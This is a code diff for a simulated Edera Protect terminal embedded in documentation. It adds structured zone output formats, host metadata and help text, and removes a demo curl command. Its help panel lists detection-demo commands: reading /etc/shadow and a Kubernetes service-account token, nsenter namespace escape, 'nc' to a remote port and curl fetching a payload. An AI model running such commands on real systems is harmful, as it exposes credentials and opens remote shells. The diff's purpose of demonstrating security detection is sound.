diff --git a/src/main.ts b/src/main.ts index bd93b15..b2a696a 100644 --- a/src/main.ts +++ b/src/main.ts @@ -123,6 +123,15 @@ interface ProtectZone { targetCpus: number; device?: string; kernelVariant?: string; + // Fields below back the structured (`--output json|yaml|...`) renderings so + // that they stay stable across repeated `protect zone list` invocations. + domid?: number; + mac?: string; + minMemory?: number; + maxMemory?: number; + targetMemory?: number; + createdAt?: string; + readyAt?: string; } interface ProtectWorkload { @@ -1019,6 +1028,7 @@ vfio_pci`; { name: "kube-system", status: "Active", age: "10m" }, { name: "kube-public", status: "Active", age: "10m" }, { name: "kube-node-lease", status: "Active", age: "10m" }, + { name: "falco", status: "Active", age: "2m" }, ]; let deployments: LocalDeployment[] = []; @@ -1037,6 +1047,18 @@ vfio_pci`; node: "node-2", labels: { app: "demo" }, }, + { + name: "falco-edera-node-7d8f9", + namespace: "falco", + status: "Running", + age: "2m", + image: "falcosecurity/falco:latest", + ip: "10.244.0.6", + node: "node-1", + labels: { + "app.kubernetes.io/name": "falco", + }, + }, ]; let nodes: LocalNode[] = [ @@ -1100,6 +1122,174 @@ vfio_pci`; }, ]; + // Stable identity and host metadata for the simulated Protect host. These + // values mirror the host information exposed by `protect host status` in the + // reference terminal, rather than reporting zone/workload counts. Zone and + // workload state are exposed by their respective commands. + const PROTECT_HOST_ID = "2d31d52f-88b3-426a-bdf5-7248b834e396"; + const PROTECT_USER_AGENT = + "edera-protect-ctl/0.0.0+sha.c92a5e2 tonic/0.14.6"; + const PROTECT_ADDONS_IMAGE = "/var/lib/edera/protect/zone/addons.squashfs"; + + const PROTECT_HOST_STATUS = { + uuid: PROTECT_HOST_ID, + domain: 0, + version: "0.0.0+sha.c92a5e2", + branch: "HEAD", + lastTag: "v1.11.0", + revisionsSinceTag: 181, + gitSha1: "c92a5e2b2f63028b021627b62931be89754830f0", + ipv4: "10.75.0.1/16", + ipv6: "fdd4:1476:6c7e::1/48", + ethernetAddress: "d6:52:b4:13:49:a1", + hypervisorFreeMemory: 3238346752, + hypervisorFreeMemoryMiB: 3088, + } as const; + + // Reference output captured from the real Protect host. The simulation uses + // these values for the host-oriented diagnostics so the terminal experience + // matches the real CLI instead of returning a simplified placeholder. + const PROTECT_CPU_TOPOLOGY = `┌────┬──────┬────────┬──────┬────────┬──────────┐ +│ id ┆ node ┆ socket ┆ core ┆ thread ┆ class │ +╞════╪══════╪════════╪══════╪════════╪══════════╡ +│ 0 ┆ 0 ┆ 0 ┆ 0 ┆ 0 ┆ Standard │ +│ 1 ┆ 0 ┆ 0 ┆ 0 ┆ 1 ┆ Standard │ +└────┴──────┴────────┴──────┴────────┴──────────┘`; + + const PROTECT_ZONE_BOOT_LOGS = `[2026-09-15T12:49:50.462957Z INFO edera_protect_zone::idm_ring] IDM ring protect-idm-control: session attached (port=23, pages=21) +[2026-09-15T12:49:50.492670Z INFO edera_protect_zone::idm_ring] IDM ring protect-idm-bulk: session attached (port=24, pages=261) +[2026-09-15T12:49:54.556066Z INFO edera_protect_zone::memory_pressure] starting zone memory pressure event monitor`; + + const buildProtectHvDebugInfo = () => { + const activeZones = protectZones.filter( + (zone) => zone.state !== "destroyed", + ); + + const domains = activeZones.map((zone, index) => ({ + arch: { + emulation_flags: 0, + misc_flags: 0, + }, + cpu_time: 0, + cpupool: 0, + domid: zone.domid ?? index + 1, + flags: 4294901776, + gpaddr_bits: 46, + handle: [], + max_pages: 263168, + max_vcpu_id: 1, + number_online_vcpus: 2, + outstanding_pages: 0, + paged_pages: 0, + shared_info_frame: 0, + shr_pages: 0, + ssidref: 0, + total_pages: 131072, + vcpu_affinity: [ + { hard: [0, 1], soft: [0, 1], vcpu: 0 }, + { hard: [0, 1], soft: [0, 1], vcpu: 1 }, + ], + protect: { + name: zone.name, + uuid: zone.uuid, + zone: {}, + }, + })); + + return { + domains: [ + { + arch: { emulation_flags: 256, misc_flags: 0 }, + cpu_time: 0, + cpupool: 0, + domid: 0, + flags: 4294901792, + gpaddr_bits: 46, + handle: [], + max_pages: 2097152, + max_vcpu_id: 1, + number_online_vcpus: 2, + outstanding_pages: 0, + paged_pages: 0, + shared_info_frame: 0, + shr_pages: 0, + ssidref: 0, + total_pages: 970131, + vcpu_affinity: [ + { hard: [0], soft: [0, 1], vcpu: 0 }, + { hard: [1], soft: [0, 1], vcpu: 1 }, + ], + }, + ...domains, + ], + memmap: [ + { addr: 0, size: 655360, type: 1 }, + { addr: 1048576, size: 3149717504, type: 1 }, + { addr: 3150766080, size: 2621440, type: 2 }, + { addr: 3153387520, size: 65536, type: 3 }, + { addr: 3153453056, size: 524288, type: 4 }, + { addr: 3153977344, size: 66707456, type: 1 }, + { addr: 3220684800, size: 540672, type: 2 }, + { addr: 4294967296, size: 5154799616, type: 1 }, + ], + numa: { + distance: [10], + nodes: [{ memfree_pages: 3238346752, memsize_pages: 9449766912 }], + }, + pci_devices: [], + physinfo: { + arch_capabilities: 0, + capabilities: 786, + cores_per_socket: 1, + cpu_khz: 2499985, + free_pages: 790612, + hw_cap: [529267711, 4160369155, 739248128, 289, 15, 3500099499, 8, 256], + max_cpu_id: 1, + max_mfn: 2307071, + max_node_id: 63, + nr_cpus: 2, + nr_nodes: 1, + outstanding_pages: 0, + scrub_pages: 0, + threads_per_core: 2, + total_pages: 2043916, + }, + xenstore: { + local: { + domain: Object.fromEntries( + activeZones.map((zone) => [ + String(zone.domid ?? 1), + { + attr: {}, + domid: String(zone.domid ?? 1), + name: `protect-${zone.uuid}`, + protect: { + name: zone.name, + uuid: zone.uuid, + zone: {}, + }, + type: "PV", + uuid: zone.uuid, + "vz-type": "pv", + }, + ]), + ), + }, + tool: { xenstored: {} }, + vm: Object.fromEntries( + activeZones.map((zone) => [ + zone.uuid, + { uuid: zone.uuid }, + ]), + ), + }, + }; + }; + + // Xen domain ids are handed out sequentially and never reused, so this is a + // monotonic counter rather than `protectZones.length`. + let nextProtectDomid = 1; + let protectZones: ProtectZone[] = []; let protectWorkloads: ProtectWorkload[] = []; let cachedProtectImages = new Set([ @@ -1117,60 +1307,6 @@ vfio_pci`; .replace(/"/g, """) .replace(/'/g, "'"); - // The demo `curl` command may only reach the in-browser simulated cluster. - // The underlying cluster resolves loopback and private IPv4 literals - // internally, but any other target (a public hostname, a public IP, or a - // link-local address such as 169.254.169.254) falls through to a real - // network request from the page. Because this terminal is embedded in - // public documentation, we refuse those targets so the widget never issues - // outbound requests. `curl` is not required by any guided step, so this only - // removes real egress, not demo functionality. - const isPrivateIpv4 = (host: string): boolean => { - const octets = host.split("."); - - if (octets.length !== 4) { - return false; - } - - const nums = octets.map((octet) => Number(octet)); - - if (nums.some((n) => !Number.isInteger(n) || n < 0 || n > 255)) { - return false; - } - - const [a, b] = nums; - - return ( - a === 127 || - a === 10 || - (a === 172 && b >= 16 && b <= 31) || - (a === 192 && b === 168) - ); - }; - - const isSimulatedCurlTarget = (rawTarget: string): boolean => { - let parsed: URL; - - try { - const hasScheme = /^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//.test(rawTarget); - parsed = new URL(hasScheme ? rawTarget : `http://${rawTarget}`); - } catch { - return false; - } - - const host = parsed.hostname.toLowerCase(); - - if (host === "localhost" || host === "::1" || host === "[::1]") { - return true; - } - - if (/^\d+\.\d+\.\d+\.\d+$/.test(host)) { - return isPrivateIpv4(host); - } - - return false; - }; - const tokenize = (command: string): string[] => { const tokens: string[] = []; const regex = /"([^"]*)"|'([^']*)'|(\S+)/g; @@ -1192,8 +1328,41 @@ vfio_pci`; output.scrollTop = output.scrollHeight; }; + // Frame characters: the vertical and junction box-drawing glyphs that have + // to line up with the text columns around them. A lone horizontal rule + // under a header does not, so it is deliberately not in this set. + const BOX_FRAME_CHARS = /[\u2502\u2503\u2506\u250A\u250C-\u254B\u2550-\u256C]/; + + // A non-space followed by two or more spaces is column padding, i.e. output + // that would be ruined by soft wrapping. + const COLUMN_PADDING = /\S {2,}\S/; + + const stripTags = (html: string) => html.replace(/<[^>]*>/g, ""); + + /* + Output falls into three buckets: + + - free-flowing text, which wraps at the right-hand column the way a real + terminal does (this is what `--output json` needs: it is one very long + line and used to run off the edge of the embed); + - column-aligned text, which must not reflow, so it scrolls instead; + - box-drawn frames, which additionally need a font that actually ships + U+2500 glyphs so the borders line up with the cells. + */ + const preClassName = (htmlContent: string): string => { + const text = stripTags(htmlContent); + + if (BOX_FRAME_CHARS.test(text)) { + return "terminal-pre terminal-pre-grid terminal-pre-box"; + } + if (COLUMN_PADDING.test(text)) { + return "terminal-pre terminal-pre-grid"; + } + return "terminal-pre"; + }; + const printPre = (htmlContent: string) => { - printHtml(`
${htmlContent}
`); + printHtml(`
${htmlContent}
`); }; const printCommand = (command: string) => { @@ -1420,6 +1589,24 @@ vfio_pci`; return `fdd4:1476:6c7e::${id}/48`; }; + // The daemon reports RFC 3339 timestamps with nanosecond precision and an + // explicit `+00:00` offset. `Date` only gives milliseconds, so the remaining + // six digits are padded out. + const protectTimestamp = (date = new Date()): string => { + const nanos = String(Math.floor(Math.random() * 1_000_000)).padStart(6, "0"); + return date.toISOString().replace(/\.(\d{3})Z$/, `.$1${nanos}+00:00`); + }; + + // Locally administered unicast MAC, matching the addresses the zone + // interfaces actually get assigned. + const randomZoneMac = (): string => { + const bytes = Array.from({ length: 6 }, () => + Math.floor(Math.random() * 256), + ); + bytes[0] = (bytes[0] & 0xfe) | 0x02; + return bytes.map((byte) => byte.toString(16).padStart(2, "0")).join(":"); + }; + const launchProtectZone = ( name: string, minCpus = 1, @@ -1427,6 +1614,9 @@ vfio_pci`; targetCpus = 2, device?: string, kernelVariant?: string, + minMemory = 512, + maxMemory = 1024, + targetMemory = 1024, ) => { const uuid = crypto.randomUUID(); const zone: ProtectZone = { @@ -1440,6 +1630,12 @@ vfio_pci`; targetCpus, device, kernelVariant, + domid: nextProtectDomid++, + mac: randomZoneMac(), + minMemory, + maxMemory, + targetMemory, + createdAt: protectTimestamp(), }; protectZones.push(zone); addEvent( @@ -1451,6 +1647,7 @@ vfio_pci`; zone.state = "ready"; zone.ipv4 = nextZoneIp(); zone.ipv6 = nextZoneIpv6(); + zone.readyAt = protectTimestamp(); addEvent( "Normal", "ZoneReady", @@ -1462,6 +1659,299 @@ vfio_pci`; `${escapeHtml(uuid)}`, ); }; + // --------------------------------------------------------------------- + // Structured zone output + // + // The real `protect zone list` serialises one canonical zone record and + // then renders it through whichever formatter `--output` selects. The demo + // now does the same, so `--output json`, `--output yaml`, `--output tree` + // and friends all describe exactly the same object instead of each + // reinventing a different shape. + // --------------------------------------------------------------------- + + const PROTECT_ZONE_STATE_ENUM: Record = { + creating: "ZONE_STATE_CREATING", + ready: "ZONE_STATE_READY", + destroying: "ZONE_STATE_DESTROYING", + destroyed: "ZONE_STATE_DESTROYED", + }; + + // Zones created before these fields existed (or restored from an older + // session) get filled in once, so repeated listings stay identical. + const ensureZoneIdentity = (zone: ProtectZone): Required< + Pick + > => { + if (zone.domid === undefined) { + zone.domid = nextProtectDomid++; + } + if (!zone.mac) { + zone.mac = randomZoneMac(); + } + if (zone.minMemory === undefined) zone.minMemory = 512; + if (zone.maxMemory === undefined) zone.maxMemory = 1024; + if (zone.targetMemory === undefined) zone.targetMemory = zone.maxMemory; + if (!zone.createdAt) zone.createdAt = protectTimestamp(); + if (!zone.readyAt && zone.state === "ready") { + zone.readyAt = zone.createdAt; + } + + return { + domid: zone.domid, + mac: zone.mac, + minMemory: zone.minMemory, + maxMemory: zone.maxMemory, + targetMemory: zone.targetMemory, + createdAt: zone.createdAt, + }; + }; + + // Keys are emitted in the same alphabetical order the daemon's protobuf-JSON + // serialiser uses, so `--output json` matches the real CLI byte for byte. + const buildProtectZoneRecord = (zone: ProtectZone): Record => { + const identity = ensureZoneIdentity(zone); + const { domid, mac, minMemory, maxMemory, targetMemory, createdAt } = identity; + + const initialResources = { + adjustmentPolicy: "ZONE_RESOURCE_ADJUSTMENT_POLICY_DYNAMIC", + maxCpus: zone.maxCpus, + maxMemory: String(maxMemory), + minCpus: zone.minCpus, + minMemory: String(minMemory), + targetCpus: zone.targetCpus, + targetMemory: String(targetMemory), + }; + + // After the balloon driver settles, a freshly booted zone sits at its + // memory floor rather than its requested target. + const activeResources = { + ...initialResources, + targetMemory: String(minMemory), + }; + + const ips: Record[] = []; + if (zone.ipv4) { + ips.push({ + address: zone.ipv4, + gateway: "10.75.0.1", + version: "ZONE_NETWORK_IP_VERSION_V4", + }); + } + if (zone.ipv6) { + ips.push({ + address: zone.ipv6, + gateway: "fdd4:1476:6c7e::1", + version: "ZONE_NETWORK_IP_VERSION_V6", + }); + } + + const spec: Record = { + initialResources, + kernelOptions: zone.kernelVariant ? { variant: zone.kernelVariant } : {}, + name: zone.name, + networkOptions: {}, + virtualizationOptions: { + backend: "ZONE_VIRTUALIZATION_BACKEND_AUTOMATIC", + numaStrategy: "NUMA_STRATEGY_COMPACT", + }, + }; + + if (zone.device) { + spec.devices = [{ name: zone.device }]; + } + + const status: Record = { + createdAt, + deviceStatus: { + disks: [ + { + filesystemType: "squashfs", + hostBlockDevice: `/dev/loop${10 + (domid - 1) * 2}`, + hostImageFile: PROTECT_ADDONS_IMAGE, + purpose: "ZONE_DISK_STATUS_DISK_PURPOSE_ADDONS", + zoneBlockDevice: "/dev/xvda", + }, + ], + mount: { + deviceId: "6", + hostPath: `/var/lib/edera/protect/state/${zone.uuid}/mounts`, + tag: "shared", + }, + }, + domid, + host: PROTECT_HOST_ID, + networkStatus: { + interfaces: [ + { + hostInterface: `vif${domid}.4`, + ips, + zoneInterface: "eth0", + zoneMac: mac, + }, + ], + }, + }; + + if (zone.readyAt) { + status.readyAt = zone.readyAt; + } + + status.resourceStatus = { activeResources }; + status.state = PROTECT_ZONE_STATE_ENUM[zone.state]; + + return { + id: zone.uuid, + origin: { userAgent: PROTECT_USER_AGENT }, + spec, + status, + }; + }; + + // --- serialisers ------------------------------------------------------- + + const isPlainObject = (value: unknown): value is Record => + typeof value === "object" && value !== null && !Array.isArray(value); + + // Quote anything that a YAML parser would otherwise read back as a number, + // boolean or null. This is why memory values come out as '1024'. + const formatYamlScalar = (value: unknown): string => { + if (value === null || value === undefined) return "null"; + if (typeof value === "number" || typeof value === "boolean") { + return String(value); + } + + const text = String(value); + const needsQuotes = + text === "" || + /^(true|false|null|~|y|n|yes|no|on|off)$/i.test(text) || + /^[-+]?(\d[\d_]*)?(\.\d*)?([eE][-+]?\d+)?$/.test(text) || + /^0[xob]/i.test(text) || + /^[-?:,[\]{}#&*!|>'"%@`]/.test(text) || + /: /.test(text) || + / #/.test(text) || + /^\s|\s$/.test(text); + + return needsQuotes ? `'${text.replace(/'/g, "''")}'` : text; + }; + + // Block-style YAML. Sequences nested under a mapping key are *not* indented + // relative to that key, which is what libyaml (and therefore the real CLI) + // emits. + const toYaml = (value: unknown, indent = 0): string => { + const pad = " ".repeat(indent); + + if (Array.isArray(value)) { + if (!value.length) return `${pad}[]`; + + return value + .map((item) => { + if (isPlainObject(item) || Array.isArray(item)) { + const body = toYaml(item, indent + 2); + return `${pad}- ${body.slice(indent + 2)}`; + } + return `${pad}- ${formatYamlScalar(item)}`; + }) + .join("\n"); + } + + if (isPlainObject(value)) { + const entries = Object.entries(value); + if (!entries.length) return `${pad}{}`; + + return entries + .map(([key, val]) => { + if (Array.isArray(val)) { + return val.length + ? `${pad}${key}:\n${toYaml(val, indent)}` + : `${pad}${key}: []`; + } + if (isPlainObject(val)) { + return Object.keys(val).length + ? `${pad}${key}:\n${toYaml(val, indent + 2)}` + : `${pad}${key}: {}`; + } + return `${pad}${key}: ${formatYamlScalar(val)}`; + }) + .join("\n"); + } + + return `${pad}${formatYamlScalar(value)}`; + }; + + // Flatten to dotted paths for `--output key-value`. + const toKeyValueLines = (value: unknown, prefix = ""): string[] => { + if (Array.isArray(value)) { + if (!value.length) return [`${prefix}=[]`]; + return value.flatMap((item, index) => + toKeyValueLines(item, prefix ? `${prefix}.${index}` : String(index)), + ); + } + + if (isPlainObject(value)) { + const entries = Object.entries(value); + if (!entries.length) return [`${prefix}={}`]; + return entries.flatMap(([key, val]) => + toKeyValueLines(val, prefix ? `${prefix}.${key}` : key), + ); + } + + return [`${prefix}=${value === null || value === undefined ? "" : String(value)}`]; + }; + + // Box-drawing tree for `--output tree`. + const toTreeLines = (value: unknown, prefix = ""): string[] => { + const entries: [string, unknown][] = Array.isArray(value) + ? value.map((item, index) => [String(index), item] as [string, unknown]) + : Object.entries(value as Record); + + return entries.flatMap(([key, val], index) => { + const last = index === entries.length - 1; + const branch = last ? "└── " : "├── "; + const childPrefix = prefix + (last ? " " : "│ "); + + if (Array.isArray(val) || isPlainObject(val)) { + const empty = Array.isArray(val) + ? val.length === 0 + : Object.keys(val).length === 0; + if (empty) { + return [`${prefix}${branch}${key}: ${Array.isArray(val) ? "[]" : "{}"}`]; + } + return [`${prefix}${branch}${key}`, ...toTreeLines(val, childPrefix)]; + } + + return [`${prefix}${branch}${key}: ${val === null || val === undefined ? "" : String(val)}`]; + }); + }; + + // --- renderers --------------------------------------------------------- + + const ZONE_TABLE_COLUMNS: { + header: string; + value: (zone: ProtectZone) => string; + colour?: (zone: ProtectZone) => string; + }[] = [ + { header: "name", value: (zone) => zone.name }, + { header: "uuid", value: (zone) => zone.uuid }, + { + header: "state", + value: (zone) => zone.state, + colour: (zone) => + zone.state === "ready" + ? "#b8ff3c" + : zone.state === "destroyed" + ? "#a8cfca" + : "#ffd166", + }, + { header: "ipv4", value: (zone) => zone.ipv4 || "" }, + { header: "ipv6", value: (zone) => zone.ipv6 || "" }, + ]; + + const ZONE_TABLE_HINT = [ + "# To view detailed zone information, use `--output` followed by a format specifier.", + "# e.g. `protect zone list --output yaml`", + ].join("\n"); + + // comfy-table's UTF8_FULL_CONDENSED preset: a solid outer frame, `┆` between + // columns, `╞═╡` under the header, and no separators between data rows. const renderProtectZoneList = (zones = protectZones) => { if (zones.length === 0) { printHtml( @@ -1469,46 +1959,174 @@ vfio_pci`; ); return; } - const nameWidth = 15; - const uuidWidth = 38; - const stateWidth = 13; - const ipv4Width = 18; - const header = - "NAME".padEnd(nameWidth) + - "UUID".padEnd(uuidWidth) + - "STATE".padEnd(stateWidth) + - "IPV4".padEnd(ipv4Width) + - "IPV6"; - const divider = - "─".repeat(nameWidth) + - "─".repeat(uuidWidth) + - "─".repeat(stateWidth) + - "─".repeat(ipv4Width) + - "─".repeat(28); - let html = `${header}\n`; - html += `${divider}\n`; + const widths = ZONE_TABLE_COLUMNS.map((column) => + Math.max( + column.header.length, + ...zones.map((zone) => column.value(zone).length), + ) + 2, + ); + + const border = (left: string, mid: string, right: string, fill: string) => + `${left}${widths + .map((width) => fill.repeat(width)) + .join(mid)}${right}`; + + const cell = (text: string, width: number, colour?: string) => { + const padded = ` ${text.padEnd(width - 2)} `; + return colour + ? `${escapeHtml(padded)}` + : escapeHtml(padded); + }; + + const pipe = ``; + const inner = ``; + + const lines: string[] = [border("┌", "┬", "┐", "─")]; + + lines.push( + pipe + + ZONE_TABLE_COLUMNS.map((column, index) => + `${escapeHtml( + ` ${column.header.padEnd(widths[index] - 2)} `, + )}`, + ).join(inner) + + pipe, + ); + + lines.push(border("╞", "╪", "╡", "═")); for (const zone of zones) { - const stateColor = - zone.state === "ready" - ? "#b8ff3c" - : zone.state === "destroyed" - ? "#a8cfca" - : "#ffd166"; + lines.push( + pipe + + ZONE_TABLE_COLUMNS.map((column, index) => + cell(column.value(zone), widths[index], column.colour?.(zone)), + ).join(inner) + + pipe, + ); + } - html += - `${escapeHtml(zone.name.padEnd(nameWidth))}` + - `${escapeHtml(zone.uuid.padEnd(uuidWidth))}` + - `${escapeHtml( - zone.state.padEnd(stateWidth), - )}` + - `${escapeHtml((zone.ipv4 || "").padEnd(ipv4Width))}` + - `${escapeHtml(zone.ipv6 || "")}` + - "\n"; + lines.push(border("└", "┴", "┘", "─")); + lines.push(""); + lines.push( + `${escapeHtml(ZONE_TABLE_HINT)}`, + ); + + printPre(lines.join("\n")); + }; + + // Plain whitespace-delimited columns, no frame. + const renderProtectZoneSimple = (zones: ProtectZone[]) => { + if (!zones.length) { + printPre(""); + return; } - printPre(html.trimEnd()); + const widths = ZONE_TABLE_COLUMNS.map((column) => + Math.max( + column.header.length, + ...zones.map((zone) => column.value(zone).length), + ), + ); + + const row = (cells: string[]) => + cells + .map((text, index) => + index === cells.length - 1 ? text : text.padEnd(widths[index] + 2), + ) + .join("") + .trimEnd(); + + const lines = [ + `${escapeHtml( + row(ZONE_TABLE_COLUMNS.map((column) => column.header)), + )}`, + ...zones.map((zone) => + escapeHtml(row(ZONE_TABLE_COLUMNS.map((column) => column.value(zone)))), + ), + ]; + + printPre(lines.join("\n")); + }; + + const PROTECT_OUTPUT_FORMATS = [ + "table", + "tree", + "json", + "json-pretty", + "jsonl", + "yaml", + "key-value", + "simple", + ]; + + const printProtectOutputFormatError = (format: string) => { + printPre( + `${escapeHtml( + `error: invalid value '${format}' for '--output '\n [possible values: ${PROTECT_OUTPUT_FORMATS.join( + ", ", + )}]`, + )}\n${escapeHtml("\nFor more information, try '--help'.")}`, + ); + }; + + const renderProtectZoneOutput = (zones: ProtectZone[], format: string) => { + const normalized = (format || "table").toLowerCase(); + const records = zones.map(buildProtectZoneRecord); + + switch (normalized) { + case "table": + renderProtectZoneList(zones); + return; + + case "json": + printPre(escapeHtml(JSON.stringify(records))); + return; + + case "json-pretty": + printPre(escapeHtml(JSON.stringify(records, null, 2))); + return; + + case "jsonl": + printPre( + records.map((record) => escapeHtml(JSON.stringify(record))).join("\n"), + ); + return; + + case "yaml": + printPre(escapeHtml(records.length ? toYaml(records) : "[]")); + return; + + case "key-value": + printPre( + records + .map((record) => escapeHtml(toKeyValueLines(record).join("\n"))) + .join("\n\n"), + ); + return; + + case "tree": + printPre( + records + .map((record, index) => + [ + `${escapeHtml( + zones[index].name, + )}`, + escapeHtml(toTreeLines(record).join("\n")), + ].join("\n"), + ) + .join("\n\n"), + ); + return; + + case "simple": + renderProtectZoneSimple(zones); + return; + + default: + printProtectOutputFormatError(format); + } }; const destroyProtectZoneInstance = (zone: ProtectZone, wait = false) => { @@ -2357,8 +2975,8 @@ vfio_pci`;
- protect zone list [ZONE] [--output json-pretty] - List Edera zones, or inspect one zone with JSON output. + protect zone list [ZONE] [--output <FORMAT>] + List Edera zones. Formats: table, tree, json, json-pretty, jsonl, yaml, key-value, simple.
@@ -2405,11 +3023,6 @@ vfio_pci`;
Utilities
-
- curl <url> - Send a simulated HTTP GET request through the cluster. -
-
ls -laR [directory] Recursively list files and directories with permissions and hidden entries. @@ -2505,57 +3118,734 @@ vfio_pci`; Stream accumulated simulated Falco logs from the Helm deployment.
-
- protect workload exec llm-app cat /proc/1/environ - Trigger Edera Proc Environ Read (WARNING). -
+
+ protect workload exec llm-app cat /proc/1/environ + Trigger Edera Proc Environ Read (WARNING). +
+ +
+ protect workload exec llm-app cat /etc/shadow + Trigger Edera Sensitive File Read (WARNING). +
+ +
+ protect workload exec llm-app nsenter -t 1 -m -u -i -n -p + Trigger Edera Namespace Escape Attempt (CRITICAL). +
+ +
+ protect workload exec llm-app nc 203.0.113.10 4444 + Trigger Edera Reverse Shell Tool (CRITICAL). +
+ +
+ protect workload exec llm-app curl https://example.com/payload + Trigger Edera Outbound Connection and Executable Download detections. +
+ +
+ protect workload exec llm-app /bin/sh -c "id" + Trigger Edera Shell Command Execution (NOTICE); plain /bin/sh remains non-detecting. +
+ +
+ protect workload exec llm-app sudo id + Trigger Edera Privilege Escalation Tool (WARNING). +
+ +
+ protect workload exec llm-app cat /var/run/secrets/kubernetes.io/serviceaccount/token + Trigger Edera Kubernetes Service Account Access (WARNING). +
+ +
+ protect workload exec llm-app /bin/sh -c "echo demo > /etc/demo.conf" + Trigger Edera Sensitive File Write (WARNING). +
+
+ +
+ `; + }; + + const formatProtectCliHelp = (path: string[] = []) => { + const help: Record = { + "": `Control the Edera Protect daemon + +Usage: protect [OPTIONS] + +Commands: + zone Manage the zones on Edera Protect + workload Manage the workloads on Edera Protect + image Manage the images on Edera Protect + network Manage the network on Edera Protect + device Manage the devices on Edera Protect + host Manage the host of Edera Protect + object-capability Inspect and use object capabilities [alias: ocap] + completion Output shell completion code for the specified shell + help Print this message or the help of the given subcommand(s) + +Options: + -c, --connection + The connection URL to the Edera Protect daemon [default: unix:///var/lib/edera/protect/daemon.socket] + + --user-agent + User agent to connect to the daemon as [default: edera-protect-ctl/0.0.0+sha.c92a5e2] + + -h, --help + Print help + + -V, --version + Print version + +This CLI is under active development. Options and Commands are subject to change.`, + + "zone": `Manage the zones on Edera Protect + +Usage: protect zone + +Commands: + attach Attach to the zone console + list List zone information + vcpu-list Display information about a zone's vCPUs and their pinning + vcpu-pin Set CPUs affinities for a zone vCPU + resolve Resolve a zone name to matching zone ids + launch Launch a new zone + destroy Destroy a zone + suspend Suspend a running zone + resume Resume a suspended zone + fork Fork a running zone into a new memory-shared child zone + exec Execute a command inside the zone + forget Forget destroyed zones (clear their tombstones) + logs View the logs of a zone + metrics Read metrics from the zone + top Dashboard for running zones + watch Watch for zone changes + update-resources Update the available resources to a zone + configure-network Configure the network of an external network backend zone + advertise-service Advertise a service in a zone + unadvertise-service Unadvertise a service in a zone + kernel-events Manage kernel events from zones + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "zone list": `List zone information + +Usage: protect zone list [OPTIONS] [ZONE] + +Arguments: + Zone to list, either the name or the uuid + +Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "zone vcpu-list": `Display information about a zone's vCPUs and their pinning + +Usage: protect zone vcpu-list [OPTIONS] [ZONE] + +Arguments: + Zone to list vCPUs for, either the name or the uuid + +Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "zone vcpu-pin": `Set CPUs affinities for a zone vCPU + +Usage: protect zone vcpu-pin [SOFT_AFFINITY] + +Arguments: + Zone to set CPUs affinities for, either the name or the uuid + The vCPU for which CPU affinities are set (values: "vCPU|all") + Hard affinity (values: "Hard affinity|-|all") + Soft affinity (values: "Soft affinity|-|all") + +Options: + -h, --help Print help`, + + "zone resolve": `Resolve a zone name to matching zone ids + +Usage: protect zone resolve [OPTIONS] + +Arguments: + The zone name to resolve + +Options: + -f, --first If there are multiple matching zones, only print the first zone id + -h, --help Print help`, + + "zone launch": `Launch a new zone + +Usage: protect zone launch [OPTIONS] --name + +Options: + -n, --name Name of the zone + --min-cpus Minimum vCPUs available for the zone + -C, --max-cpus Maximum vCPUs available for the zone + -c, --target-cpus + Target vCPUs for the zone to use + --device Named PCI device to attach + --kernel-variant + Named kernel variant to use + -h, --help Print help`, + + "zone destroy": `Destroy a zone + +Usage: protect zone destroy [OPTIONS] + +Arguments: + Zone to destroy, either the name or the uuid + +Options: + -W, --wait Wait for destruction to complete + -A, --all Destroy all matching zones + -l, --selector Filter matches using a selector + -h, --help Print help`, + + "zone suspend": `Suspend a running zone + +Usage: protect zone suspend + +Arguments: + Zone to suspend, either the name or the uuid + +Options: + -h, --help Print help`, + + "zone resume": `Resume a suspended zone + +Usage: protect zone resume + +Arguments: + Zone to resume, either the name or the uuid + +Options: + -h, --help Print help`, + + "zone fork": `Fork a running zone into a new memory-shared child zone + +Usage: protect zone fork [OPTIONS] + +Arguments: + Zone to fork + +Options: + -n, --name Name of the child zone + -h, --help Print help`, + + "zone exec": `Execute a command inside the zone + +Usage: protect zone exec [OPTIONS] [COMMAND]... + +Arguments: + Zone to exec inside, either the name or the uuid + Command to run inside the zone + +Options: + -t, --tty Allocate a tty + -h, --help Print help`, + + "zone forget": `Forget destroyed zones (clear their tombstones) + +Usage: protect zone forget + +Arguments: + Zone to forget + +Options: + -h, --help Print help`, + + "zone logs": `View the logs of a zone + +Usage: protect zone logs [OPTIONS] + +Arguments: + Zone whose logs should be displayed + +Options: + -f, --follow Follow the zone log + -h, --help Print help`, + + "zone metrics": `Read metrics from the zone + +Usage: protect zone metrics [OPTIONS] + +Arguments: + Zone whose metrics should be displayed + +Options: + -o, --output Output format [default: table] + [possible values: table, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "zone top": `Dashboard for running zones + +Usage: protect zone top + +Options: + -h, --help Print help`, + + "zone watch": `Watch for zone changes + +Usage: protect zone watch + +Options: + -h, --help Print help`, + + "zone update-resources": `Update the available resources to a zone + +Usage: protect zone update-resources [OPTIONS] + +Arguments: + Zone to update + +Options: + -h, --help Print help`, + + "zone configure-network": `Configure the network of an external network backend zone + +Usage: protect zone configure-network [OPTIONS] + +Arguments: + Zone to configure + +Options: + -h, --help Print help`, + + "zone advertise-service": `Advertise a service in a zone + +Usage: protect zone advertise-service [OPTIONS] + +Arguments: + Zone to advertise from + Service name + +Options: + -h, --help Print help`, + + "zone unadvertise-service": `Unadvertise a service in a zone + +Usage: protect zone unadvertise-service + +Arguments: + Zone to unadvertise from + Service name + +Options: + -h, --help Print help`, + + "zone kernel-events": `Manage kernel events from zones + +Usage: protect zone kernel-events + +Commands: + stream Stream kernel events + list-syscalls List available syscalls + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "workload": `Manage the workloads on Edera Protect + +Usage: protect workload + +Commands: + launch Launch a new workload + exec Execute a command inside the workload + attach Attach to a workload console + resolve Resolve a workload name to matching workload ids + start Start a workload + stop Stop a workload + destroy Destroy a workload + list List workload information + watch Watch for workload changes + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "workload launch": `Launch a new workload + +Usage: protect workload launch [OPTIONS] --zone [COMMAND]... + +Arguments: + Container image for zone 